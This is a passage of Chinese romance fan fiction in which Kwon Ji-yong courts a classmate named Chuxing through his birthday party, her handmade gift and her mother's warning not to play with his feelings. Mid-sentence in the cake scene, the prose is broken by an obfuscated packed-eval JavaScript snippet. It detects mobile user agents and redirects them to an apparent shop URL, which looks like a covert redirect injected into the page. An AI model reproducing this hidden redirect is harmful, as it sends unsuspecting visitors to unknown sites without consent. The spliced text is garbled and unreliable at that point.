他还沉浸在巨大喜悦中,一个激灵,猛地想起另一件至关重要的事!一件他梦寐以求的事! “等、等一下!初星xi!”权至龙急急忙忙地喊道,追了上去,因为太急差点咬到自己的舌头,心脏再次提了起来。 初星已经走远的身子顿住,半侧回头,投来一个带着询问和明显不耐烦的眼神,眉头微蹙,仿佛在说“又怎么了”。 权至龙的脸瞬间又涨得通红,比刚才发出邀请时还要窘迫和紧张。他手忙脚乱地从口袋里掏出手机,手指都有些发抖,几乎握不稳那轻薄的机器,眼神躲闪着不敢直视她,声音也因为极度的紧张而变得磕磕巴巴: “那…那个……既然……都要来参加生日会了……”他深吸一口气,像是要用尽全身的勇气,笨拙地按着手机按键,试图调出新建联系人的界面,眼神恳切又卑微地望向初星,带着孤注一掷的祈求,“能…能不能……告诉我你的电话号码?……我、我好把地址和时间发短信告诉你……也、也方便以后……” 他的声音越说越小,到最后几乎成了微弱的气音,眼神湿漉漉的,充满了不安和期待,像只害怕被一脚踢开却又渴望靠近的小狗。 初星显然没料到他会突然提出这个更加“得寸进尺”的要求,目光落在权至龙那张写满了期盼、忐忑、以及害怕被拒绝的脆弱脸上,她的第一反应是皱起眉头,脸上迅速掠过一丝“你好麻烦”的鲜明不耐。嘴唇微动,看起来像是要立刻吐出冰冷拒绝的话语。 空气凝固了几秒,只有知了还在不知疲倦地鸣叫。 权至龙的心悬到了嗓子眼,仿佛下一秒就要停止跳动。他举着手机的手已经开始发酸,指尖冰凉。 最终,初星极快地、几乎让人无法察觉地瞥了他一眼,那眼神复杂难辨,似乎夹杂着一丝“真拿你没办法”的烦躁,又或许有一丁点对于他之前傻等的无奈,甚至是一丝极淡的、连她自己都未曾深究的松动。 她极其不耐烦地、语速飞快地报出了一串数字,声音不大,却清晰地、一字不差地钻入权至龙极度专注的耳中。 报完之后,她立刻像是完成了什么极其麻烦的任务,甚至带着点恼羞成怒的意味,凶巴巴地补充道,试图重新建立冰冷的界限:“……不准随便打过来!发信息也不准发些没用的!听到没有!” 说完,她根本不等权至龙任何回应,像是多待一秒都会更加失控,猛地转身,加快脚步,几乎是跑着冲进了楼门,瞬间消失了踪影,只留下一片寂静和燥热的空气。 权至龙还保持着举手机的姿势,呆若木鸡地站在原地,手指还僵硬地悬在按键上方,仿佛被施了定身咒。 几秒钟后,才反应过来,激动的跳了起来。 他……他成功了!他拿到了初星的手机号码!那个他梦寐以求的连接! 他猛地低头,手指颤抖着、一个数字一个数字地、无比珍重地将那串号码输入手机通讯录,仿佛在输入什么绝世密码,每一个按键都轻而又轻,生怕按错。存好“初星”这个名字的瞬间,他看着屏幕上那两个字,傻笑得嘴角都快咧到耳根了。 他宝贝似的把手机紧紧捂在胸口,感觉那颗狂喜的心脏撞击着掌心。 虽然被严厉警告“不准随便打”、“不准发没用的”,但这已经是天大的、里程碑式的进步了!他以后可以给她发短信了!他甚至已经开始在脑海里疯狂构思第一条短信该发什么,是再次确认地址,还是简单地问候? 他抱着手机和那袋早就忘了要扔的垃圾,在原地高兴得转了两个圈,才猛地想起初星最后的“命令”。 “对!扔垃圾!”他傻笑着,屁颠屁颠地朝着垃圾站的方向跑去,脚步轻快得快要飞起来,仿佛脚下踩着的不是水泥地,而是柔软的云朵。 阳光明媚,微风正好。权至龙觉得,今天绝对是他的幸运日!是命运眷顾的日子! …… 生日当天,至龙提前了足足半小时就悄悄潜伏在了初星家楼下的阴凉处。这半小时格外难熬,他第一百次掏出他那部宝贝手机,拇指悬在按键上,反复编辑着“我快到你家楼下了”或者“今天太阳大,等我一下?”之类的短信,但最终还是咬着牙,狠心删掉了——他清楚地记得,就因为前天消息发得太频繁,被初星冷着脸下了“禁令”,明确命令他直到生日当天都不准再发任何“无用信息”骚扰她。天知道他这几天是怎么熬过来的,憋得快内伤了,就想着干脆直接来等她,给她个“惊喜”。 他把手机塞回裤兜,深吸一口气,靠在墙边,努力让自 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初星今天半扎着长发,几缕柔软的碎发不经意垂落在白皙的颈侧,随步伐轻轻晃动,平添了几分难得的柔美。她穿了一条米白色的棉质收腰连衣裙,裙摆恰好及膝,恰到好处地勾勒出纤细的腰身和流畅的身形线条。布料看起来柔软亲肤,在明澈的夏日阳光下,她整个人仿佛被笼罩在一层朦胧的光晕里,纯净、清新,带着一种直击人心的、近乎不真实的初恋感。 她的手里拿着两样东西:一个是他那件被叠得整整齐齐、甚至能看出用心痕迹的校服衬衫外套用一个干净的袋子装着;另一个是一个小巧精致、系着丝带的礼物盒子。 权至龙的心一下子提到了嗓子眼,砰砰狂跳。他赶紧从阴凉处跳出来,快步迎了上去,带着点做坏事被抓包的心虚和想要献宝的急切。 “初…初星xi!” 初星闻声转头,看到突然冒出来的、同样精心打扮过的权至龙,明显愣了一下。她的目光快速扫过他的潮流穿搭、手里的伞和饮料,脸上闪过一丝诧异,随即又恢复了平时的淡然,只是微微挑了下眉,仿佛在无声地询问:“你怎么会在这里?” 权至龙被她看得更慌了,也被她今天格外清新的模样惊艳得更加手足无措。他下意识地就把伞撑开,举过她头顶,笨拙地解释道:“那、那个……我看太阳太大了,想着 你会需要……就、就过来了!” 同时把手里的冰橙汁递过去,试图转移注意力,“这个!冰的橙汁,我…我自己榨的,很解渴!” 他的目光忍不住在她身上多停留了几秒,脸微微发红,声音因为紧张和惊艳而有点发紧,几乎是喃喃地、发自内心地补充道:“……你今天,真的很好看。” 初星被他这突如其来的出现、一气呵成的“服务”以及直白的夸奖弄得顿了一下。阳光被伞隔开,带着清新果香的冰凉饮料递到面前,她看着权至龙那副紧张又殷勤、还带着点“快夸我机智”的期待表情,脸上那丝极淡的不自在又浮现了。 她先是自然地接过了那瓶冰橙汁,指尖瞬间感受到舒适的凉意。低头看了一眼,橙汁色泽诱人,果肉沉淀。 “……谁让你来了。”她习惯性地小声嘟囔了一句,语气里听不出是高兴还是不高兴,更像是对这种“意外”和可能被打扰的独自出行计划的轻微抱怨。然后抬起手,先把那个装着叠好衬衫的袋子递还给权至龙,“喏,你的。洗好了。” 权至龙连忙接过,心里松了口气——至少没直接赶他走,而且她收下了橙汁!这已经是胜利了! 接着,初星才似乎有点别扭地把另一个手的小礼物盒递给他,目光微微移开,不像平时那样直接对视,声音也带着点故作随意的僵硬:“……这个。生日。凑合拿着吧。” 权至龙看着递到眼前的、系着丝带的礼物盒,心脏像是被什么东西猛地撞了一下,酸酸软软的情绪瞬间溢满胸腔,一股热流冲上眼眶。她竟然……真的准备了礼物。他几乎是用一种虔诚的态度,双手微微发颤地接过了那个小小的、却重若千钧的盒子。她提前准备好了,等着见面给他。这份认知让他感动得几乎说不出话。 “谢……谢谢初星xi!”他的声音因为激动而有些哽咽,眼睛亮得惊人,像盛满了星星,嘴角控制不住地向上扬起,“我……我现在可以打开吗?” 他迫不及待地想知道她送了什么给自己,这份好奇和期待几乎要满溢出来。 初星看他这副高兴得快傻掉、甚至有点眼泛泪光的样子,耳根微微发热,立刻出声阻止,语气带着点羞恼,生怕他真在这里打开:“呀!回去再看!” “啊?哦哦!好!回去再看!”权至龙立刻乖乖答应,像接到圣旨一样,小心翼翼地把礼物盒捧在手心,仿佛那是易碎的珍宝。 他看看手里失而复得、带着清香的衣服和珍贵的礼物,再看看面前打着伞、喝着他榨的橙汁、清新动人的初星,感觉这“擅自行动”简直太值了,幸福得快要晕过去了。今天的一切都完美得不真实。 “那……那我们走吧?珍雅xi他们可能快到了。”权至龙努力平复着激动的心情,声音依旧雀跃,充满了对接下来时光的期待。 “嗯。”初星低低应了一声,吸了一口冰橙汁。酸甜冰爽的滋味恰到好处地在口腔里蔓延开,驱散了夏日的燥热,她微微顿了一下,什么都没说,只是又喝了一小口。 权至龙细心地将伞完全倾向她那边,自己大半个身子晒在太阳里也毫不在意,脸上洋溢着无法抑制的傻笑,陪着初星慢慢朝车站走去。 阳光透过伞沿,在他们周围投下一小圈凉爽的阴影。少年小心翼翼地举着伞,少女安静地喝着冰饮。 权至龙觉得,这绝对是他度过的最棒、最完美的一个生日开头。 13. 生日会的微光与心意 去他家的路上,气氛有些微妙的安静,只有脚步声和远处隐约的车声。权至龙的心跳还没完全平复,像揣着一只欢快的小鸟,忍不住找话打破这令他既紧张又珍惜的独处时光。 “那个……橙汁,好喝吗?”他侧头看向她,声音里带着小心翼翼的期待,仿佛她的评价是世界上最权威的裁决。 初星正小口啜饮着橙汁,酸甜冰爽的滋味确实极大地缓解了暑热带来的烦躁。听到他的问话,她动作顿了一下,长长的睫毛垂了一下,在眼睑投下淡淡的阴影,语气平淡地回答:“还行。” 她顿了顿,似乎真的思考了一下,然后用一种略带挑剔的口吻补充道:“不过糖的比例还是有点微妙,后劲有一点点泛酸。而且比起榨汁,我还是更喜欢直接用手剥着吃橙子,风味更完整。” 权至龙的眼睛瞬间亮了起来,像被点亮的星辰。他不仅没觉得被挑剔而沮丧,反而像得到了什么极其宝贵的情报和指示,立刻牢牢刻在心里,脸上绽放出受宠若惊般的灿烂笑容:“啊,这样吗?后劲酸了?下次我少放点糖!喜欢用手剥的啊!我记住了!” 他脸上的笑容更加灿烂,仿佛收到具体的改进指令是莫大的恩赐和亲近的标志,心里甜丝丝的,比喝了一整罐蜂蜜还满足。 很快到了权至龙家楼下。他领着初星上楼,心脏因为即将把她带入自己的“领地”而微微加速。刚打开门,就听到里面传来一阵熟悉的欢闹声。 果然,永裴、珍雅还有另外两个同班同学浩锡和贤硕已经先到了,正盘腿坐在客厅地板上,对着电视屏幕吵吵嚷嚷地打着游戏,气氛热烈。 “呀!寿星终于来了!哦?这是去接人了?”永裴第一个发现他们,丢下游戏手柄喊道,眼神带着调侃。 珍雅也立刻扭头,看到并排站着的两人,脸上立刻露出暧昧又了然的笑容:“哇哦~原来是去接初星了啊~” 语气拖得长长的。 权至龙有点不好意思地挠挠头,耳根微红,嘴上说着:“呀,别瞎起哄!” 但嘴角那抹抑制不住的笑意却彻底出卖了他内心的喜悦和骄傲。 这时,系着围裙的志龙妈妈从厨房闻声出来,手里还拿着锅铲,笑容满面,带着厨房的烟火气:“哎一古,我们志龙回来了?哦莫,这就是初星吧?常听志龙提起你,长得真漂亮啊,像精致的娃娃一样!” 妈妈的目光慈爱地在初星身上停留,语气热情又真诚,带着毫不掩饰的喜欢。 初星瞬间切换模式。脸上那点对着权至龙时特有的、略带挑剔和不耐烦的表情立刻消失无踪,仿佛被一键重置。取而代之的是一种文静、乖巧甚至略带羞涩的、标准的好学生笑容,她非常标准地鞠躬问好,声音都变得柔和清甜了几分:“阿姨您好,打扰了。我是初星。谢谢您邀请我来。” 姿态礼仪完美得无可挑剔,笑容恰到好处,完全就是长辈最喜欢的那种乖巧、懂事、有礼貌的女孩模样。 “好好好,不打扰不打扰!你们玩得开心点啊!阿姨给你们做好吃的去!” 志龙妈妈笑得眼睛弯弯,满意地回厨房了,心里对这个漂亮又乖巧的女孩印象极好。 权至龙暗暗松了口气,幸好妈妈没多说别的让他更害羞的话。他赶紧招呼初星和珍雅,对永裴和另外两个朋友介绍,语气带着一丝不易察觉的郑重:“那个,这是珍雅你们应该都认识了。这位是初星,她们同班的。” 他又转向初星,声音放轻了些:“初星xi,这是永裴,我最好的朋友,这两个是浩锡和贤硕,都是我们班的。” 初星对着众人微微点头示意,算是打过招呼,表情恢复了一种略带距离感的平静,并没有多余的热情,但也算不上失礼,礼貌而疏离。 大家互相简单打了招呼后,权至龙拉着初星和珍雅在客厅的空位坐下。游戏机很快又被捡起来,气氛重新变得热闹。 权至龙看着坐在身边的初星,近得能闻到她发间淡淡的清香,想起她刚才关于橙子的话,心里一动,一股想要为她做点什么的冲动涌上心头。他起身跑到厨房门口的果篮里,像个寻宝者一样,精心挑选了一个最大最饱满、色泽橙黄的橙子拿回来。 他重新坐回初星旁边,没有任何工具,就直接用手开始剥橙子。橙皮并不好剥,他弄得有点狼狈,指甲缝里塞进了白色的橘络,汁水沾满了手指,显得有些笨拙。 浩锡和贤硕是第一次近距离看初星,本来还有点拘谨,看到志龙这笨拙又认真的样子都忍不住笑起来。永裴也打趣:“呀,志龙,你这手法不行啊,得练练。”珍雅也笑起来,凑到初星耳边小声说:“你看志龙xi,笨死了,但好认真啊。” 初星看着权至龙那副跟橙子“搏斗”的、专注得眉头微皱的傻样,嘴角几不可查地弯了一下,那弧度极小极快,用一种只有身边人能听到的、略带嫌弃实则藏着一点被取悦的、细微趣味的语气低声对珍雅说:“……看起来就不太聪明。” 但当权至龙终于把那盘卖相不佳、沾满他指纹和汁水的橙瓣递到她面前时,初星的表情立刻又恢复了礼貌和距离感。她看着那橙肉,并没有立刻去拿,反而微微蹙了下眉,声音不大、语气平淡地说了一句:“谢谢,先放那里吧。” 权至龙愣了一下,心里掠过一丝小小的失落,像被微风拂过的烛火轻轻晃动了一下,但他还是乖乖把橙子放在了她面前的茶几上,心想也许她只是现在不想吃。 珍雅看出了初星的别扭和权至龙的尴尬,立刻打圆场,主动拿起一瓣橙子,语气夸张:“哇,志龙xi亲手剥的诶!初星不吃我吃啦!……嗯!好甜!” 她夸张地称赞道,试图活跃气氛。 初星瞥了珍雅一眼,又看看那盘橙子,沉默了几秒,才仿佛终于被说服、极其缓慢地伸出手,用指尖拈起一瓣看起来最完整的橙子,小口咬了下去,然后对着充满期待的权至龙,非常客观、听不出什么情绪评价道:“嗯,是还行。” 初星吃完一瓣,很自然地将剩下的大半盘橙子往他那边推了推,姿态随意却带着点不容置疑:“太多了,吃不完。” 这看似是分享,但由她做出来,配上她那淡然的表情,更像是一种“赏赐”和理所当然的分担。 权至龙高兴极了,心里那点失落瞬间被开心围绕着全身,立刻拿起一瓣塞进自己嘴里,嚼得特别香甜,傻笑着重复:“甜!真的甜!” 他看到初星指尖似乎沾了点汁水,赶紧抽了张湿纸巾递过去。初星接过,仔细擦了擦手。 权至龙赶紧拿过用过的纸巾,美滋滋地攥在手心,感觉那湿纸巾都带着橙子的甜香。 …… 餐桌上摆满了志龙妈妈准备的美食,金黄的炸鸡、红彤彤的炒年糕、整齐的紫菜包饭,还有各式小菜,香气四溢,令人食指大动。气氛在食物的催化下更加热烈起来,浩锡和贤硕也渐渐放开了些,大声讨论着游戏和学校趣事。 权至龙抢占了初星旁边的位置,像个忠诚的侍从,极其自然地将看起来色泽最金黄、肉质最嫩的一块炸鸡夹到初星碗里,又顺手将她碗里她明显犹豫着、用筷子拨来拨去不想碰的胡萝卜泡菜夹到自己碗里,动作流畅自然。 浩锡和贤硕看到这一幕,交换了惊讶又带着点暧昧的眼神。永裴则见怪不怪,毕竟看多了志龙在练习室对着镜子发疯念叨“初星”的样子。 初星对权至龙的“服务”接受得很好,甚至连眼神都没给一个,它小口地吃着鸡肉,吃相非常斯文乖巧,咀嚼无声,礼仪完美得像是教科书。 当那盘红彤彤、冒着热气的炒年糕转到她面前时,她看着那浓稠的酱汁,犹豫了一下,然后小心翼翼地用筷子夹起一根,结果因为年糕太滑,或者她下手的角度和力道稍微没掌握好,那根年糕在离开盘子边缘时,“啪嗒”一下掉了回去,溅起几点小小的酱汁,有一点点沾到了她白皙的指尖上。 初星瞬间顿住了,看着自己指尖那点突兀的红色,脸上闪过一丝极快的、几乎是本能的懊恼和“啊糟糕了”的轻微慌乱,那副总是平静无波的表情出现了一丝极细微的波动,但很快被她压制下去。她没有大叫也没有失措,只是下意识地、带着点求助意味地看向身旁的权至龙,眼神里透露出“这有点麻烦,弄脏了”的清晰信息。 权至龙立刻心领神会,心脏像是被她的无措眼神轻轻撞了一下,泛起细密的疼惜。他马上抽了张纸巾递给她,同时非常自然地把那盘年糕拉到自己面前,嘴上打着圆场,语气轻松:“啊,这个年糕好像有点煮过头了,太软了不好夹是吧?我来试试看……” 说着他就自己动作利落地夹起好几根,巧妙地化解了尴尬,仿佛一切都是年糕的错。 初星快速而仔细地擦掉指尖的酱汁,耳根微微泛红,用几乎听不见的声音嘟囔了一句,像是在平静地陈述一个客观事实,来掩饰刚才那瞬间的小小狼狈:“……是有点不好夹。” 这副难得的、与她漂亮聪明长相反差的细微笨拙和一闪而过的慌乱,让权至龙觉得可爱到心跳漏了一拍,心底软成一片。他努力维持表情自然,心里却像炸开了烟花。 浩锡和贤硕也看到了这一幕,觉得这个看起来很冷、很聪明、有点距离感的女孩,似乎也有点普通女孩子的、接地气的笨拙瞬间,反而让人觉得更容易接近和真实了。 饭后,大家吵着要玩桌游。权至龙拿出准备好的游戏,气氛再次活跃起来。 游戏过程中,初星大部分时间很安静,坐在权至龙和珍雅中间,规则听得很认真,她能理解基本规则,逻辑清晰,并非游戏白痴。但她的“一点点笨”体现在策略层面和临场反应上。她有时会过于专注于眼前的一步,忽略了长远的布局,导致后面陷入被动,她会微微蹙眉,盯着棋盘露出思考的表情。或者当别人出一个意想不到的牌时,她会明显愣一下,眼睛微微睁大,需要多花几秒钟来消化情况和思考应对,反应比其他人慢半拍,那种认真思考却稍显迟滞的样子,配上她漂亮又没什么表情的脸,形成一种有趣的反差萌,让权至龙移不开眼。有时她犹豫再三后打出的牌,在权至龙看来并不是最优解,但他只会觉得她努力思考的样子无比可爱,心里默默为她加油。 只有当和权至龙、珍雅这些相对熟悉的人互动时,她会流露出一点真实的小脾气。比如当权至龙试图悄悄凑过去告诉她该怎么走时,她会微微瞪他一眼,低声带着点警告说:“……别吵。” (虽然她自己可能也没想到更好的办法)。或者当珍雅因为她一个非最优的操作而受益时,她会用怀疑的眼神瞥她一下,好像觉得她是不是作弊了,虽然脸上还是没什么表情,但那种细微的质疑眼神却格外生动。 权至龙全程都晕乎乎的,沉浸在幸福里。他觉得她每一个思考时微微蹙眉的小动作、每一次反应慢半拍后恍然的表情、甚至那偶尔瞥过来的带着小情绪的眼神,都可爱得要命,像无数细小的光点,汇聚成他心中最明亮的星辰。 …… 聚会尾声,志龙妈妈端出点着蜡烛的生日蛋糕。大家欢呼着围拢过来,客厅灯光调暗,只剩下温暖的烛光摇曳。 烛光映在每个人脸上,权至龙被朋友们围在中间,他大声说出愿望:“希望每年的今天都能像今年一样开心!” 目光却灼灼地、毫不掩饰地看向站在珍雅旁边的初星,眼神里充满了期待和难以言喻的温柔。 初星也站在人群里,暖黄的烛光柔和了她的轮廓。她跟着大家拍手,但拍子似乎总是微妙地慢一点点,不像其他人那么热烈投入,目光专注地看着跳跃的蜡烛火焰,长长的睫毛在眼下投下阴影,神情安静。 大家吵着分蛋糕。权至龙作为寿星切蛋糕,他小心翼翼地切下带着最大颗、最鲜红草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680903|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莓的那一块,放到了初星的盘子里,眼神带着讨好和期待。 初星看着那块过于“隆重”的蛋糕,沉默了两秒,然后用叉子小心地把那颗草莓叉起来,递还到权至龙的盘子边,有点不耐,却带着一种不易察觉的关心: “…你生日当然是你吃啊。” 权至龙看着盘子边那颗鲜红欲滴的草莓,兴奋得快要晕过去了,他珍重地、像品尝什么稀世美味一样吃掉了那颗草莓,觉得比任何山珍海味都甜。 直到聚会结束,送走朋友们,权至龙脸上还挂着收不住的傻笑,心满意足地和家里人开始收拾略显凌乱的客厅。空气中还残留着蛋糕的甜香和欢闹后的余温。 他把空饮料瓶和零食包装袋收进垃圾桶,动作轻快,目光却总是忍不住飘向那个被放在沙发角落、系着银色丝带的深蓝色礼物盒。那是初星送的。光是想到这一点,他的心尖就像被最柔软的羽毛轻轻拂过,又痒又软,充满了不真实的幸福感。 终于收拾得差不多,家人也回了房间,客厅安静下来。他几乎是屏住呼吸,像是进行一个庄严的仪式,小心翼翼地拿起那个小小的、却重若千钧的盒子。他坐到沙发上,指尖甚至微微发颤,深吸一口气,才慢慢地、极其珍惜地解开了丝带,仿佛在解开一个世界上最美好的秘密。 打开盒盖,内部的白色软垫上静静躺着一条手工编织的手链。 手链的样式简洁却别致,透着一股低调的用心。主色调是深邃的蓝色,像是静谧的夜空,其间巧妙地编织进了几缕极细的、不易察觉的银丝线,在灯光下会微微反射出细碎的光芒,宛如星辰闪烁。手链的扣环是一个小巧的、做旧风格的银色圆环,看起来十分精致。整体风格并不女气,反而有种中性化的、略带叛逆的酷感,非常符合他的审美,但又明显能看出是花了心思的、独一无二的手工制品,带着制作者的温度。 权至龙的心脏像是被温柔地、重重地握了一下,呼吸微微一滞,一股暖流从心脏涌向四肢百骸。他完全没想到会收到这样用心的礼物。他小心翼翼地拿起手链,指尖能感受到编织绳的细腻纹理和那颗小银环冰凉的触感,仿佛能触摸到那份别扭又真诚的心意。 他注意到盒底还有一张对折的、质感很好的卡片。他心跳骤然加速,几乎是屏息着,用最轻的动作轻轻打开。 上面是初星清秀而略显锋利的字迹,只有一行简洁到极致的话: “生日快乐” 连个感叹号都没有。 权至龙忍不住低笑出声,心里软得一塌糊涂,眼眶甚至有些发热。他把这张轻飘飘的卡片,当作世界上最珍贵的宝物,仔细地、郑重其事地夹进了自己最常用、记录着最重要灵感和心事的笔记本里,放在扉页。 他迫不及待地想把手链戴上,让这份心意贴近自己的皮肤。但因为不熟悉这种扣环,加上心情激动,手指有些不听使唤,笨手笨脚地试了好几次才“咔哒”一声扣上。那条蓝黑交织、带着细碎银光的手链松松地环在他清瘦的手腕上,出乎意料地好看,仿佛原本就属于那里,与他融为一体。他抬起手腕,对着灯光看了又看,转动着手腕,看着那细碎的银光流转,嘴角的笑容越来越大,怎么也控制不住。 正当他沉浸在收到礼物的满足中时,目光无意间扫过茶几,发现永裴他们刚才玩闹时用的拍立得相机还放在那里,旁边散落着几张刚刚打印出来、影像还未完全稳定的照片。 大部分是朋友们搞怪的合影,张牙舞爪,表情夸张。他笑着翻看,回忆着刚才的快乐时光,直到——他的手指顿住了,呼吸也随之一滞。 最下面那张照片,捕捉到了一个他完全没有留意到的、被瞬间定格下来的画面。 照片里,他正侧着头,笑容灿烂得毫无阴霾,眼睛亮得惊人,专注地对着身边的初星说着什么,整个人都散发着快乐的光晕。而初星,并没有看镜头,她微微低着头,几缕碎发垂在颊边,手里拿着他刚才笨拙剥好的那瓣橙子,正小口地咬着,嘴角似乎还沾着一点点晶莹的橙子汁液。她的侧脸线条在拍立得特有的柔和色调和略带复古的质感下显得异常柔和,虽然看不清全脸表情,但那种安静、甚至有点呆然、专注于食物的姿态,透出一种不设防的柔软。 最关键的是,因为她正低头吃橙子,而他又侧身靠近她说话,两人的头靠得极近,肩膀几乎要挨在一起。在照片定格的这一刻,他们看起来无比亲近、自然,仿佛本该如此。而照片一角,他递橙子过去的那只手腕上,还空荡荡的——那时他还没收到这份此刻正戴在腕间的、无比珍贵的礼物。 权至龙的心脏猛地一跳,像是被这张意外的照片击中了最柔软的地方。拿着照片的手指微微收紧,指尖传来相纸特有的微凉触感。他下意识地用另一只手摸了摸此刻正戴在腕间、带着他体温的手链,冰凉的银环和温暖的皮肤形成对比。 他完全不记得永裴是什么时候抓拍下这个画面的,也许就是某个不经意的瞬间。但这一刻,这份意外的、充满心意的手工礼物,还有这张捕捉了赠送前一刻那罕见亲密瞬间的照片……所有的一切汇聚在一起,形成一股巨大的、几乎要将他淹没的幸福洪流和一种奇异的宿命感。仿佛有一条无形的线,将那个空手腕的瞬间和这个戴着手链的现在连接了起来。 他小心翼翼地将照片放在空了的礼物盒旁边,拿出手机,对着腕间的手链和那张意外的合照,找了好几个角度,郑重地拍了一张照片,然后精心设置为手机壁纸,这是独属于他的、需要小心珍藏的秘密宝藏和力量源泉。 他轻轻摩挲着手腕上那条编织手链,指尖划过那细微的银丝,仿佛能透过这冰冷的触感,感受到那份别别扭扭却又无比认真、笨拙却炽热的心意。窗外夜色渐深,他的心里却亮如白昼。 14. 寂静回响 初星推开家门,玄关处感应灯自动亮起,柔和的光线驱散了身后走廊的昏暗。客厅里,更大范围的温暖灯光和空气中弥漫的、带着家的独特印记的饭菜香气一起涌来,瞬间包裹了她,像一层无形的、舒适的薄膜,将她一路上刻意维持的、用以隔绝外界喧嚣与内心微妙波澜的平静外壳悄然软化。那股熟悉的、混合着淡淡木质家具香气和妈妈手艺的味道,让她紧绷的神经不自觉地松弛下来,一直挺直的脊背也微微放松。她反手轻轻关上门,将门外那个还残留着聚会余温与复杂情绪的世界暂时隔绝。 “我们nabi(韩文中蝴蝶的发音)回来了?”妈妈温柔的声音从厨房方向传来,伴随着锅铲与锅具碰撞的、令人安心的细微声响,“玩得累不累?聚会好玩吗?至龙那孩子,今天玩得还开心吧?” 初星踢掉脚上略显束缚的鞋子,甚至懒得弯腰去拿旁边摆放整齐的拖鞋,就穿着薄薄的棉袜,踩着微凉的地板,像只终于归巢的、带着些许慵懒和依赖的猫,小跑着扑到厨房门口。她软软地倚在门框上,目光扫过妈妈在灶台前忙碌的背影,语气里带着漫不经心:“嗯~就那样吧。吵死了,他们那些人,闹腾起来没完没了的。” 然而,尽管语气显得平淡甚至略带嫌弃,她的眼神却是亮晶晶的,嘴角那抹若有若无、试图隐藏却终究泄露出来的上扬弧度,更是清晰地昭示了她真实的情绪。 妈妈关掉灶火,转过身,仔细端详了一下女儿。她太了解初星了,这副模样绝不是简单的“就那样”。 “哦妈看到了哦,”妈妈温和地开口,眼神里带着了然的笑意,“下午是不是至龙在楼下等你?那么大太阳,他等了很久吧?” 被妈妈点破,初星有点不自然地扭过头,带着点被看穿的小小恼怒,但更多的是不以为意:“是他自己非要等的嘛……我又没叫他等。傻乎乎的。” 她下意识地用脚尖蹭着地板,流露出一种“看吧,他就是这么执着”的、带着淡淡炫耀的无奈。 妈妈看着女儿这副模样,眼底的笑意更深了,还夹杂着一丝不易察觉的感慨。她走近几步,伸出手轻轻捋了捋女儿额前有些散乱的碎发,声音放得更柔:“我们娜比跟哦妈说说,是不是……有点点喜欢那个男孩子了?” 她停顿了一下,观察着女儿的反应,才继续用那种充满暖意的语调说,“妈妈看他呀,每次见到你,那双眼睛里就像盛满了星星,亮得惊人,全是你的影子呢。那孩子,心思单纯,喜欢一个人,是藏都藏不住的。” 这个直白的问题让初星的脸颊瞬间飞起两抹红霞,连耳根都染上了绯色。她像一只被突然踩到尾巴、瞬间炸毛的猫,音量不自觉地提高,急促地反驳道:“哦妈!没有啦!您别瞎猜!谁会喜欢他那种类型的男生?” 她带着一种明显的嫌弃,试图划清界限,“吵吵闹闹的,像个长不大的孩子,一点成熟稳重的样子都没有。而且您不觉得他有点太黏人了吗?整天像个跟屁虫一样在我周围转悠,烦都烦死了!” 话音落下,厨房里陷入短暂的沉默。初星急促的呼吸微微平复,她的眼神闪烁了一下,产生了一种极其微妙的转变,不再是最初全然的否定和排斥,而是带上了一种审视的、比较的意味,像是在评价一件属于自己的、虽然有些瑕疵但格外特别的所有物,甚至掺杂了一丝隐隐的得意:“……不过,话说回来,他确实……跟学校里那些或者我以前认识的其他男生,不太一样。” 她像是陷入了某种对比的思绪,微微扬起了下巴,眼神里闪过一丝自己都未曾察觉的、属于占有者的光芒,“别的男生?哼,肤浅又没耐心。嘴上说几句喜欢,送点华而不实的礼物,稍微被拒绝一两次,或者表现得冷淡一点,立刻就消失得无影无踪,转向下一个目标了。无聊透顶,一点挑战性都没有,也根本看不出有几分真心。” 她的声音渐渐染上掌控者的从容和笃定,甚至带上了一点居高临下的轻蔑,还带着对自身魅力得到充分验证的满足:“但是权至龙他……他好像根本不知道什么叫‘放弃’,什么叫‘面子’。不管我怎么对他冷脸,怎么故意无视他,甚至说些难听的话想让他知难而退,他第二天总能像没事人一样,换着各种笨拙又好笑的新法子出现,眼巴巴地凑过来,眼神里那种……那种完全被拿捏住的、全心全意的专注,真是……” 她似乎在寻找一个合适的词,最终找到了,“还挺有意思的。” 听着女儿这番带着明显优越感和掌控欲的剖析,妈妈脸上原本温和的笑容渐渐淡去,眉宇间透出担忧。她走到女儿身边,双手轻轻搭在初星的肩膀上,迫使她正视自己的眼睛,声音严肃而恳切:“娜比啊,哦妈理解你觉得‘有意思’,理解你享受那种被重视、被特殊对待的感觉。年轻女孩嘛,有几分虚荣心,喜欢被人追捧,这很正常。但是,你要知道,也要分得清,至龙那孩子,他捧到你面前的,不是一场你可以随意评判输赢的游戏,而是一颗热腾腾的、毫不设防的真心。你觉得好玩、觉得有面子的那份‘执着’,恰恰是他最珍贵、最坦诚的情感付出。” 她看着女儿那双漂亮却仍带着几分不以为然和年少轻狂的眼睛,语气不由得加重了几分,带着警示的意味:“习惯被追逐、享受被偏爱,和真正去认识一个人、了解一个人,甚至去喜欢一个人,是完完全全的两回事。你不能因为觉得‘有意思’,就心安理得地一直吊着人家,把他的真心当成证明你自己魅力的工具,挥霍他的热情和耐心。这是对别人真挚感情的轻视和不尊重,长此以往,也是对你自己的不负责任!你会迷失在这种虚假的优越感里的。” “无论你最终对他是何种感觉,是朋友,是更进一步,还是觉得不合适,”妈妈的声音沉稳而有力,每个字都敲在初星的心上,“都要记住哦妈今天的话:不要玩弄任何人的真心,永远不要。尤其是这样一份坦诚、热烈、不掺杂质的感情,你消耗不起,也永远赔不起。辜负真心的人,最终也会被真心抛弃。” 初星沉默了几秒钟,微微撅起嘴,脸上闪过一丝不耐和被人说教后的抵触,但母亲话语里那份沉甸甸的重量和显而易见的关切,还是让她收敛了些许任性。她低下头,避开母亲的目光,含糊地、带着点敷衍地应道:“……知道啦。我又没对他怎么样,就是……就是随便说说嘛。” 